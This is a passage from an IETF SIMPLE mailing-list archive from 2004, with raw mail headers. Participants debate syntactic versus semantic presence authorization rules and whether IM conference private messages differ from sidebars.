>>I wanted to make the group aware of an important implicit 
>>decision that 
>>has been made in the way presence authorization rules have been 
>>structured in:
>>
>>http://www.ietf.org/internet-drafts/draft-rosenberg-simple-rul
>>es-00.txt
>>
>>The model used in this document is that the transformation rules are 
>>syntactic in nature. That is, they define rules based on XML 
>>constructs, 
>>such as adding and removing elements, adding and removing namespaces, 
>>and so on. These kinds of rules have the benefit that they 
>>can be used 
>>for new presence extensions that havent even been defined yet. For 
>>example, if we defined a new extension that included contact 
>>information 
>>within a namespace urn:ietf:params:xml:ns:pidf:cipid, a 
>>presentity could 
>>define rules for giving out this information using the show-namespace 
>>construct in rosenberg-simple-rules, even though the cipid 
>>extension did 
>>not exist when simple-rules was defined.
>>
>>The drawback is that the impact of a set of rules on a 
>>document could be 
>>non-obvious and have the wrong effect. Hisham has already pointed out 
>>some cases where, for example, if the same element appeared 
>>in several 
>>places in a document, the show-element transformation might have 
>>unintended consequences. It also complicates interactions between 
>>transformations that can affect the same data - for example, 
>>show-namespace and show-element can affect the same element in a 
>>presence document, and thus there is an interaction between them.
>>
>>A different approach is a more semantic approach, which is 
>>actually what 
>>is done in the geopriv equivalent:
>>
>>http://www.ietf.org/internet-drafts/draft-ietf-geopriv-policy-01.txt
>>
>>For us, the analagous thing would be to define rules for each 
>>specific 
>>part of the presence document. For example, for the note, we could 
>>define three levels of privacy - to not send any notes, to send notes 
>>for tuples only, notes for the whole document, or all:
>>
>><note>tuples-only</note>
>>
>>We would also need to define elements for various rpid 
>>pieces. For example:
>>
>><placetype>home-only</placetype>
>><icon>black-and-white</icon>
>>
>>would specify that the placetype element is included only if 
>>its value 
>>is home, and the icon that is sent (defined in cipid) should be 
>>converted to black and white first.
>>
>>The semantic approach allows us to carefully construct our privacy 
>>policies so that there is no feature interaction (as we have the 
>>syntactic approach today); it would also allow us to specify 
>>transformations that are non-trivially represented via XML 
>>constructs, 
>>for example converting an image to black and white.
>>
>>To be honest, I'm on the fence on this. I have gradually been coming 
>>over to the "semantic" side of the argument, because it 
>>allows us to be 
>>more concise. The cost is that new extensions to pidf would have to 
>>define their own authorization policies as well.
>>
>>This is a major decision point we need to make. Please comment.
>>
>>Thanks,
>>Jonathan R.
>>-- 
>>Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
>>Chief Technology Officer                    Parsippany, NJ 07054-2711
>>dynamicsoft
>>jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
>>http://www.jdrosen.net                      PHONE: (973) 952-5000
>>http://www.dynamicsoft.com
>>
>>
>>_______________________________________________
>>Simple mailing list
>>Simple@ietf.org
>>https://www1.ietf.org/mailman/listinfo/simple
>>
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 00:32:39 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03363
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 00:32:39 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2Vo-0007ri-DU
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 00:32:12 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i225WCvY030228
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 00:32:12 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2Vo-0007rT-9V
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 00:32:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03273
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 00:32:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Vl-0006gh-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 00:32:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2Un-0006Wr-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 00:31:10 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Tn-0006Lz-00; Tue, 02 Mar 2004 00:30:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2Tj-0007DP-0M; Tue, 02 Mar 2004 00:30:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2Sz-00079i-7z
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 00:29:17 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03051
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:29:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Sw-0006GO-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:29:14 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2Rz-00069p-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:28:16 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2RB-000643-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:27:25 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i225RJT04286;
	Tue, 2 Mar 2004 07:27:19 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 07:26:57 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i225Qv99022197;
	Tue, 2 Mar 2004 07:26:57 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00jsQvg2; Tue, 02 Mar 2004 07:26:56 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i225Qs728520;
	Tue, 2 Mar 2004 07:26:54 +0200 (EET)
Received: from nokia.com ([10.162.252.246]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 07:26:53 +0200
Message-ID: <40441B1B.6080109@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "ext Rosen, Brian" <Brian.Rosen@marconi.com>
CC: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        pkyzivat@cisco.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B6484@whq-msgusr-02.pit.comms.marconi.com>
In-Reply-To: <313680C9A886D511A06000204840E1CF070B6484@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 02 Mar 2004 05:26:53.0861 (UTC) FILETIME=[F8EA6D50:01C40016]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 07:26:51 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit


ext Rosen, Brian wrote:
> Probably, I just answered this.
> 
> A private message is a sidebar with exactly two participants.  A sidebar is
> a set of private messages with possibly more than two participants.  The way
> you render these could be the same, or different if you wish.  The only
> thing that matters is whether there is any functional difference.  I don't
> think that there is.

I think what you're referring to is a private sidebar. Being able to 
receive a private message sent inside a conference (or a sidebar) would 
require no additional action from the recipient, whereas setting up a 
private sidebar requires that the invitee also agrees to have the 
sidebar, joins it etc.

> Consider a push to talk one-on-one voice connection within a conference.
> That's pretty close to a private message.  If I implemented that, how would
> you want me to do it?  As a sidebar?  As a media policy manipulation?
> How about the "whisper" function in a call center.  Same thing.

Of course you can't do private messages with voice. Voice and IM are 
inherently different. You can't send private voice packets to another 
participant of a conference, simply because there isn't a way to single 
out a participant in a conference by directly addressing packets there. 
It also makes mixing really complicated, because a private voice stream 
might overlap with the rest of the conference. These don't present a 
problem for IM; the sender can single out the recipient using the cpim 
To header field and the recipient UA can simply mark a message as 
private and render it to the same UI as the rest of the IMs in that 
conference.

Just because voice as a media has this limitation, are we supposed to 
suppress features available in other medias? I don't think so.

Cheers,
Aki

> Brian
> 
> 
>>-----Original Message-----
>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
>>Sent: Monday, March 01, 2004 12:54 PM
>>To: ext Rosen, Brian
>>Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
>>Miguel.An.Garcia@nokia.com; simple@ietf.org
>>Subject: Re: [Simple] Chat sessions
>>
>>
>>Brian,
>>
>>Please go back to my previous post where I make a comparison 
>>to similar
>>(if not identical) functionality in IRC. There, sidebars and private
>>messages are clearly separate functionality.
>>
>>If you can show that the analogy between IRC and IM conferences is
>>false, or describe how sidebars alone are enough to implement this 
>>functionality in IM conferences, I'm happy to back down on this
>>issue.
>>
>>Cheers,
>>Aki
>>
>>ext Rosen, Brian wrote:
>>
>>>Aki
>>>
>>>My post was meant to point out that we had decided to implement
>>>sidebars as separate dialogs from main conferences, which is similar
>>>to making "private messages" separate dialogs from a main IM dialog.
>>>In that way, I think that sidebars and private messages are 
>>
>>the same;
>>
>>>they are media sent to a subset of participants in the group.  If
>>>there is a reason to allow a special way to subset 
>>
>>destinations for a
>>
>>> private message rather than the entire chat group, then whatever 
>>>argument you make would apply to a sidebar.
>>>
>>>Brian
>>
>><snip />
>>
>>

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar  2 00:32:42 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03380
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 00:32:42 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2Vp-0007s0-Oi
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 00:32:13 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i225WDJf030246
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 00:32:13 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2Vp-0007rl-LN
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 00:32:13 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03297
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 00:32:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Vn-0006gr-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 00:32:11 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2Up-0006X6-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 00:31:12 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Tn-0006M4-00; Tue, 02 Mar 2004 00:30:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2Tj-0007Da-Ly; Tue, 02 Mar 2004 00:30:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2T1-0007BF-Of
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 00:29:19 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03061
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:29:16 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2Sz-0006Gq-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:29:17 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2S2-0006AE-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:28:19 -0500
Received: from rtp-iport-2.cisco.com ([64.102.122.149])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2RL-0005xf-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:27:35 -0500
Received: from rtp-core-2.cisco.com (64.102.124.13)
  by rtp-iport-2.cisco.com with ESMTP; 01 Mar 2004 21:26:53 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i225R4xU004108;
	Tue, 2 Mar 2004 00:27:04 -0500 (EST)
Received: from cisco.com (tokyo-vpn-user16.cisco.com [10.70.82.16])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL12484;
	Tue, 2 Mar 2004 00:27:01 -0500 (EST)
Message-ID: <40441B24.7090504@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Markus.Isomaki@nokia.com
CC: jdrosen@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] Models for representing presence rules
References: <E392EEA75EC5F54AB75229B693B1B6A7054D5AFD@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 00:27:00 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=1.0 required=5.0 tests=AWL,NEW_DOMAIN_EXTENSIONS 
	autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Technically I think you could let both approaches coexist. But the 
consequence is that you get the worst features of each approach.

The disadvantage of the syntactic approach is that some manipulations 
can have hard-to-anticipate consequences, especially when the same 
entity is used in multiple places. With this kind of manipulation in 
mind, creators of presence extensions will have to consider the 
implications and contort the schema to minimize these side effects.

An advantage of the semantic approach is that it minimizes the above. 
But this advantage isn't realized if the syntactic approach remains.

	Paul

Markus.Isomaki@nokia.com wrote:
> Hi,
> 
> Does this really have to be an either or choice? Wouldn't it be possible to keep the syntactic approach as a baseline, since only this way the system would be future-proof without the need to upgrade presence agent to understand the semantics of each possible presence document extension that will be defined. I think this is important property, since we want anyway to provide presence about applications that are proprietary by nature, and thus their presence info would be proprietary as well. In this case it would not be feasible to upgrade presence agents to understand the semantics of such proprietary extensions. Still it would be important to be able to provide permissions to such information in standardized way.
> 
> On the other hand I think it would be OK to define semantic rules for the standard presence extensions, such as RPID, CIPID, or prescaps. And in the future any new extension could define its own semantic rules.
> 
> Would there be something that breaks if we allow both of these models at the same time? If we have to select one I would have to chooce the syntactic approach as a trade-off.
> 
> Markus
> 
> 
>>-----Original Message-----
>>From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
>>ext Jonathan Rosenberg
>>Sent: 26 February, 2004 00:08
>>To: Simple WG
>>Subject: [Simple] Models for representing presence rules
>>
>>
>>I wanted to make the group aware of an important implicit 
>>decision that 
>>has been made in the way presence authorization rules have been 
>>structured in:
>>
>>http://www.ietf.org/internet-drafts/draft-rosenberg-simple-rul
>>es-00.txt
>>
>>The model used in this document is that the transformation rules are 
>>syntactic in nature. That is, they define rules based on XML 
>>constructs, 
>>such as adding and removing elements, adding and removing namespaces, 
>>and so on. These kinds of rules have the benefit that they 
>>can be used 
>>for new presence extensions that havent even been defined yet. For 
>>example, if we defined a new extension that included contact 
>>information 
>>within a namespace urn:ietf:params:xml:ns:pidf:cipid, a 
>>presentity could 
>>define rules for giving out this information using the show-namespace 
>>construct in rosenberg-simple-rules, even though the cipid 
>>extension did 
>>not exist when simple-rules was defined.
>>
>>The drawback is that the impact of a set of rules on a 
>>document could be 
>>non-obvious and have the wrong effect. Hisham has already pointed out 
>>some cases where, for example, if the same element appeared 
>>in several 
>>places in a document, the show-element transformation might have 
>>unintended consequences. It also complicates interactions between 
>>transformations that can affect the same data - for example, 
>>show-namespace and show-element can affect the same element in a 
>>presence document, and thus there is an interaction between them.
>>
>>A different approach is a more semantic approach, which is 
>>actually what 
>>is done in the geopriv equivalent:
>>
>>http://www.ietf.org/internet-drafts/draft-ietf-geopriv-policy-01.txt
>>
>>For us, the analagous thing would be to define rules for each 
>>specific 
>>part of the presence document. For example, for the note, we could 
>>define three levels of privacy - to not send any notes, to send notes 
>>for tuples only, notes for the whole document, or all:
>>
>><note>tuples-only</note>
>>
>>We would also need to define elements for various rpid 
>>pieces. For example:
>>
>><placetype>home-only</placetype>
>><icon>black-and-white</icon>
>>
>>would specify that the placetype element is included only if 
>>its value 
>>is home, and the icon that is sent (defined in cipid) should be 
>>converted to black and white first.
>>
>>The semantic approach allows us to carefully construct our privacy 
>>policies so that there is no feature interaction (as we have the 
>>syntactic approach today); it would also allow us to specify 
>>transformations that are non-trivially represented via XML 
>>constructs, 
>>for example converting an image to black and white.
>>
>>To be honest, I'm on the fence on this. I have gradually been coming 
>>over to the "semantic" side of the argument, because it 
>>allows us to be 
>>more concise. The cost is that new extensions to pidf would have to 
>>define their own authorization policies as well.
>>
>>This is a major decision point we need to make. Please comment.
>>
>>Thanks,
>>Jonathan R.
>>-- 
>>Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
>>Chief Technology Officer                    Parsippany, NJ 07054-2711
>>dynamicsoft
>>jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
>>http://www.jdrosen.net                      PHONE: (973) 952-5000
>>http://www.dynamicsoft.com
>>
>>
>>_______________________________________________
>>Simple mailing list
>>Simple@ietf.org
>>https://www1.ietf.org/mailman/listinfo/simple
>>
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 00:48:14 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04061
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 00:48:13 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2lK-0000iM-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 00:48:14 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2kO-0000cq-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 00:47:17 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2kB-0000XN-00; Tue, 02 Mar 2004 00:47:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2k9-0001gb-Nb; Tue, 02 Mar 2004 00:47:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2jP-0001ap-1g
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 00:46:15 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03984
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:46:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2jM-0000W7-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:46:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2iU-0000Qs-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:45:19 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2hy-0000LC-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:44:46 -0500
Received: from sj-core-5.cisco.com (171.71.177.238)
  by sj-iport-3.cisco.com with ESMTP; 01 Mar 2004 21:56:23 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i225iDiQ015672;
	Mon, 1 Mar 2004 21:44:14 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user16.cisco.com [10.70.82.16])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGL12974;
	Tue, 2 Mar 2004 00:44:08 -0500 (EST)
Message-ID: <40441F25.3030200@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
CC: "ext Rosen, Brian" <Brian.Rosen@marconi.com>,
        ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Markus.Isomaki@nokia.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: Re: [Simple] Chat sessions
References: <313680C9A886D511A06000204840E1CF070B6484@whq-msgusr-02.pit.comms.marconi.com> <40441B1B.6080109@nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 00:44:05 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



Niemi Aki (Nokia-M/Espoo) wrote:
> 
> Of course you can't do private messages with voice. Voice and IM are 
> inherently different. You can't send private voice packets to another 
> participant of a conference, simply because there isn't a way to single 
> out a participant in a conference by directly addressing packets there. 
> It also makes mixing really complicated, because a private voice stream 
> might overlap with the rest of the conference. These don't present a 
> problem for IM; the sender can single out the recipient using the cpim 
> To header field and the recipient UA can simply mark a message as 
> private and render it to the same UI as the rest of the IMs in that 
> conference.

So generically it seems that what you are requesting is a way to send 
mixer control instructions in the media stream. (Ignore the normal 
mixing rules for this message. Instead, send it to the following 
participants.) And apparently you also require some annotation of the 
delivered message, indicating what sort of mixing was applied to it, so 
it can be displayed with appropriate annotation.

Do I have that right? I'm not sure this is a good idea, but neither am I 
sure it is a bad idea.

> Just because voice as a media has this limitation, are we supposed to 
> suppress features available in other medias? I don't think so.

Well, I guess that is the advantage of being involved in the definition 
of the media stream. But if it catches on, maybe somebody will want to 
change RTP to support this.


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 00:48:47 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04082
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 00:48:47 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2lO-0001m5-PY
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 00:48:18 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i225mIpS006814
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 00:48:18 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2lN-0001lp-VP
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 00:48:17 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04073
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 00:48:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2lL-0000iR-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 00:48:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2kP-0000cy-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 00:47:17 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2kB-0000XN-00; Tue, 02 Mar 2004 00:47:03 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2k9-0001gb-Nb; Tue, 02 Mar 2004 00:47:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay2jP-0001ap-1g
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 00:46:15 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03984
	for <simple@ietf.org>; Tue, 2 Mar 2004 00:46:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2jM-0000W7-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:46:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay2iU-0000Qs-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:45:19 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay2hy-0000LC-00
	for simple@ietf.org; Tue, 02 Mar 2004 00:44:46 -0500
Received: from sj-core-5.cisco.com (171.71.177.238)
  by sj-iport-3.cisco.com with ESMTP; 01 Mar 2004 21:56:23 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i225iDiQ015672;
	Mon, 1 Mar 2004 21:44:14 -0800 (PST)
